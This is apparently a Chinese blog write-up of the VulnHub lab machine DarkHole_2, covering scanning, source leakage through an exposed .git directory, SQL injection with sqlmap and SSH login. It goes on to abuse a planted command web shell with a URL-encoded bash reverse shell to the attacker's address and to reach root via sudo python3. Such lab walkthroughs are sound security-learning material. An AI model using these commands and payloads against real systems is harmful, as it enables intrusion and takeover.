dackhole靶机


第三台靶机,还是来自https://www.vulnhub.com/,名字为DackHole_2。

网络模式还是NAT。

这台靶机特别有趣,全是漏洞,有很多方法获取flag。

常规信息收集

arp-scan -l
nmap -sS -sV -A -p- -T5 192.168.221.143

80,22端口还有个/.git页面

渗透过程

我们进去.git页面看一下。.git 目录是涉及到敏感文件泄露,所以把源码下载到本地。再次之前将githack吧Github上下载下来。

python2 GitHack/GitHack.py  http://192.168.221.143/.git # 下载源码

跳转到下载到的目录下面查看源码,直接白盒审计。当然要看login.php,看一下其对用户和密码的处理逻辑。

<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
    $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
    if($check->num_rows){
        $_SESSION['userid'] = 1;
        header("location:dashboard.php");
        die();
    }

}
?>

<link rel="stylesheet" href="style/login.css">
<head>
    <script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="Project_1.css">
    <title>Home</title>
</head>

<body>

<div class="container">
    <h1>Welcome</h1>
    <!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/Project_1.html"><h1>Sign In</h1></a> -->
    <!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/P2.html">  <h1>Log In</h1></a> -->
    <form action="" method="post">
    <div class="box">
        <i  class="fas fa-envelope"></i>
        <input type="email" name="email" id="email"  placeholder="Enter Your Email" required>
    </div>
    <div class="box">
        <i  class="fas fa-key"></i>
        <input type="password" name="password" id="password" placeholder="Enter Your Password" required>
    </div>
        <button id="btn" name="button">Login</button>
    </form>


</div>

</body>         

这个时候可以有多个方向,1. 简单的SQL语句拼接,sqlmap直接跑。2. 继续利用git。

继续利用git

使用git clone . webapp 命令会将该目录创建一个webapp的源码文件,可以在其中执行所有 git 操作

在webap下用git log ,发现在git日志当中存在修改记录。

查看历史提交记录。看一下a4d9

git checkout a4d9

查看login.php,发现管理员用户。

直接登录。

sqlmap直接跑

但是要加cookie

sqlmap -u "http://192.168.221.143/dashboard.php?id=1" --cookie PHPSESSID=kea8aac8775lkf35hbmj2t623e --dbs  

接下来流程化,查到了ssh,user表。

ssh连接看一下。进入之后,常规信息收集。

netstat -tulpn
history
ls
cat /etc/crotab    # 查看定时任务
....

发现其开了9999端口,比较可疑,访问9999端口但是连接失败。

查看对应目录下的文件: cd /opt/web ,发现是一个cmd马

看来这个网站已经被人之前打过了。

然后查看历史命令,确实有被打过的痕迹。

可以发现,可以访问本地 IP:http://127.0.0.1:9999/

执行命令:curl "http://127.0.0.1:9999/?cmd=id"发现losy用户。

这个losy用户先不管,我们看看jehad用户我们可以干什么。

寻找 suid 权限程序提权

find / -perm -u=s -type f 2>/dev/null

没有发现可用的命令。

没有办法,我们只能先利用现成的cmd马。建立一个反弹shell,但是要url编码。

curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%32%31%2e%31%33%32%2f%34%34%34%34%20%30%3e%26%31%27"

kali监听,直接连到了losy用户。

还是信息收集看看他的历史命令。发现password为gang。

sudo -l    # 看出来其可以执行python3,直接脚本提权
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

切换到root用户后,转到root目录下,ls一下找到flag。


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录